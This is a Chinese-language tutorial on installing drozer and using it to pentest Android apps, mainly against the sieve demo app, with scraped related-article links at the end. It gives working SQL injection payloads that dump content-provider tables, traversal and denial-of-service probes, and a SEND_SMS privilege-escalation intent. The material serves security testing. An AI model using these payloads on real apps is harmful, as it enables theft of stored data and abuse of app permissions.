0x00、 配置adb环境变量

下载地址:http://pan.baidu.com/s/1o8itZtC 密码:9o6j

如何配置android的adb环境变量

http://jingyan.baidu.com/article/17bd8e52f514d985ab2bb800.html

0x01、drozer安装

首先下载drozer的安装包

可以直接到官网下载:https://labs.mwrinfosecurity.com/tools/drozer/     (已挂)

Github:https://github.com/ym2011/Android-Penetration

百度云下载链接:http://pan.baidu.com/s/1gfI0hLT 密码:c78h

其中 setup.exe 为Windows主机的安装文件 agent.apk 为调试用的安卓手机安装文件

0x02、确认adb可以正确连接Android手机

如果是使用真机进行测试的话,需要将手机与计算机用数据线进行连接,并且手机需要开启调试模式,并确保计算机可以通过adb与手机进行连接

判断手机是否正常连接的方法:

在adb工具目录下执行:adb devices 命令

并且执行: adb shell 命令,可以shell连接手机

我使用的是逍遥模拟器,一开始找不到设备

几经摸索,了解到是adt-bundle-windows-x86_64中的adb.exe与模拟器目录中的adb.exe不匹配,替换成一样的就好了

确认可以adb正确连接手机之后进行下一步的操作

这里drozer Server默然监听的为31415端口,所以需要在主机上同样与31415端口进行通信

本地电脑上调用adb执行命令:adb forward tcp:31415 tcp:31415 进行端口转发

【Error 10054】

在drozer console connect启动的时候,还遇到了【Error 10054】的错误。

原因是没有模拟器上没有开启软件。。

【Error 10061】

原因是没有设置  adb forward tcp:31415 tcp:31415

安装成功界面!

【Could not find java】

需要检查如下项目
 
1、JDK是否安装
 
2、环境变量是否正确配置(命令行下执行:javajavacjava -version 命令是否返回正常数据)
 
如果以上项目均正常的话可做如下修复:
 

建立名为 .drozer_config的文件,文件中添加如下内容:

[executables]
java=D:\Java\jdk1..0_65\bin\java.exe
javac=D:\Java\jdk1..0_65\bin\javac.exe

即java和javac的路径,保存后存放到C:\Users\XXX\ 目录下,其中XXX为当前用户名目录下,之后重新连接成功

如果在windows下此文件.drozer_config 无法命名,解决办法

先把文件名改为1.drozer_config,然后使用命令 rename  1.drozer_config  .drozer_config 即可

0x03、命令简单介绍:

1、使用帮助信息

dz> list 
# 输入 list 或 ls 命令即可查看drozer所有可用模块。例如后面可以结合run命令使用,run app.package.list

dz> help 
# 查看所有可以使用的命令。

help COMMAND

# 例如 help run,可以查看run 命令的使用说明。

help MODULE

# 例如 help tools.file.upload,可以查看tools.file.upload模块的使用说明 。

run app.package.list --help

# 可以查看某个模块的具体使用。

# 这里的帮助文档非常有用,因为命令和模块那么多,要熟练记住这些,并不容易。我们在做测试时,也无需记住这么多命令,只需善于利用帮助文档信息即可。

2、获取信息

找到程序安装包

执行命令:run app.package.list

即可查看所有安装在手机上应用程序的包名

获取应用名为sieve的包名

run app.package.list -f sieve

查看程序包信息

执行命令:run app.package.info -a 包名

3、查看攻击面

执行命令: run app.package.attacksurface -a 包名

查看该APP的可攻击面(即对外开放的组件)

4、启动app相关组件

执行命令: run app.activity.info -a 包名

查看对外的activity组件信息

同样的可以通过调用app.service.info 、app.broadcast.info 、app.provider.info 模块来查看其他组件的详细信息

可通过 app.activity.start 模块来调用activity组件来查看组件信息,并测试组件是否存在拒绝服务等漏洞

这时我们可以通过run app.activity.start --component 路径包名 路径组件名 启动它

执行命令(例):

dz> run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList

5、Content Provider

(1)获取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(数据泄露)

先获取所有可以访问的Uri:

run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据:

run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查询到数据说明存在漏洞

(3)Content Providers(SQL注入)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错则说明存在SQL注入。

列出所有表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取某个表(如Key)中的数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

(4)同时检测SQL注入和目录遍历

run scanner.provider.injection -a com.mwr.example.sieve

run scanner.provider.traversal -a com.mwr.example.sieve

6、intent组件触发(拒绝服务、权限提升)

利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

1.查看暴露的广播组件信息:

run app.broadcast.info -a com.package.name  获取broadcast receivers信息

run app.broadcast.send --component 包名 --action android.intent.action.XXX

2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

run app.broadcast.send 通过intent发送broadcast receiver

(1)   空action

run app.broadcast.send --component 包名 ReceiverName

run app.broadcast.send --component 包名 ReceiverName

(2)   空extras

run app.broadcast.send --action android.intent.action.XXX

3.尝试权限提升

权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

(1)获取service详情  

run app.service.info -a com.mwr.example.sieve

不使用drozer启动service

am startservice –n 包名/service名

(2)权限提升

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

7、文件操作

列出指定文件路径里全局可写/可读的文件

run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo

run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo

run app.broadcast.send --component 包名 --action android.intent.action.XXX

8、其它模块

shell.start 在设备上开启一个交互shell

tools.file.upload / tools.file.download 上传/下载文件到设备

tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

0x04、参考资料:

https://www.cnblogs.com/goodhacker/p/3906180.html

http://blog.csdn.net/rp517045939/article/details/68065140

drozer工具的安装与使用:之一安装篇@龙刃(JDragons)

http://www.cnblogs.com/JDragons/p/5596258.html

http://www.cnblogs.com/JDragons/p/5596400.html

Android中的组件安全漏洞介绍和检测

http://blog.csdn.net/nextdoor6/article/details/52211117

drozer使用手册

https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

drozer的使用介绍的更多相关文章

  1. Android App 注射&&Drozer Use

    x01 准备工作 测试环境: 1) 手机root权限 2) Adb.exe 3) 手机usb连接开启debug模式(在设置>关于手机>连续点击多次版本号,即可开启开发者模式) 4) Win ...

  2. Android APP安全评估工具 Drozer - 使用介绍

    一.列出drozer当前可用的所有模块dz> list dz> list app.activity.forintent Find activities that can handle th ...

  3. Android APP安全评估工具 Drozer - 安装介绍

    一.Drozedr安装 注意事项:安装需要 JavaRuntime Environment (JRE) or Java Development Kit (JDK)环境, 没有安装的请先安装java环境 ...

  4. 5.移动渗透测试工具之drozer

    本篇博文主要来介绍drozer在移动渗透中的作用 本次实验环境所用工具为:夜神模拟器,drozer-2.3.4,sieve.apk,adb drozer安装这里不再多嘴,给出链接:https://ww ...

  5. CSS3 background-image背景图片相关介绍

    这里将会介绍如何通过background-image设置背景图片,以及背景图片的平铺.拉伸.偏移.设置大小等操作. 1. 背景图片样式分类 CSS中设置元素背景图片及其背景图片样式的属性主要以下几个: ...

  6. MySQL高级知识- MySQL的架构介绍

    [TOC] 1.MySQL 简介 概述 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司. MySQL是一种关联数据库管理系统,将数据保存在不同的表中,而 ...

  7. Windows Server 2012 NIC Teaming介绍及注意事项

    Windows Server 2012 NIC Teaming介绍及注意事项 转载自:http://www.it165.net/os/html/201303/4799.html Windows Ser ...

  8. Linux下服务器端开发流程及相关工具介绍(C++)

    去年刚毕业来公司后,做为新人,发现很多东西都没有文档,各种工具和地址都是口口相传的,而且很多时候都是不知道有哪些工具可以使用,所以当时就想把自己接触到的这些东西记录下来,为后来者提供参考,相当于一个路 ...

  9. JavaScript var关键字、变量的状态、异常处理、命名规范等介绍

    本篇主要介绍var关键字.变量的undefined和null状态.异常处理.命名规范. 目录 1. var 关键字:介绍var关键字的使用. 2. 变量的状态:介绍变量的未定义.已定义未赋值.已定义已 ...

随机推荐

  1. C实现读写文件

    https://www.cnblogs.com/zhanghongfeng/p/7726199.html https://www.cnblogs.com/xudong-bupt/p/3478297.h ...

  2. 转:mysql分页原理和高效率的mysql分页查询语句

    (转自:http://www.jb51.net/article/46015.htm) 以前我在mysql中分页都是用的 limit 100000,20这样的方式,我相信你也是吧,但是要提高效率,让分页 ...

  3. Luogu P4009 汽车加油行驶问题

    题目链接 \(Click\) \(Here\) 分层图..好长时间没写差点要忘了\(hhhhh\),其实思路还是很明了的. 注意需要强制消费. #include <bits/stdc++.h&g ...

  4. 2017-12-15python全栈9期第二天第七节之x or y ,x 为 非 0时,则返回x

    #!/user/bin/python# -*- coding:utf-8 -*-# x or y ,x 为 非 0时,则返回xprint(1 or 2)print(3 or 2)print(0 or ...

  5. Win7下mysql的安装

    一.简述 mysql与oracle相比小,便宜,装机量大,下载地址:https://www.mysql.com/downloads/,去找Community Edition,然后根据自己的Window ...

  6. sp_change_users_login 'Update_One', '用户名', '登录名';

    每次从服务器上备份好数据库(Sql Server数据库),如果将备份数据库文件在本地恢复,总会产生用户权限的问题. 经过很多次的实验后,我发现有那么一条语句可以发挥作用,就是sp_change_use ...

  7. cors解决跨域

    什么是cors CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing). 它允许浏览器向跨源服务器,发出XMLHttpReq ...

  8. python 存储引擎 mysql(库,表, 行) 单表多表操作 (foreign key) sql_mode pymysql模块讲解

    ##################总结############### mysql 常用数据类型 整型:tinyint  int(42亿条左右)  bigint 小数:float double dec ...

  9. openstack ovs实现vlan组网

    本文是配置文档,非说明文档,只讲配置,不讲原理. controller节点: 网卡信息:ens160 外网网卡 : ens192 数据网卡 /etc/neutron/plugins/ml2/ml2_c ...

  10. Python3.6 Schedule模块定时任务

    本文使用Python的Schedule模块.Python访问数据库的框架SQLAIchemy 实现了一个:周期性读取mysql 数据的小示例. 一,编程环境 PyCharm2016,Anaconda3 ...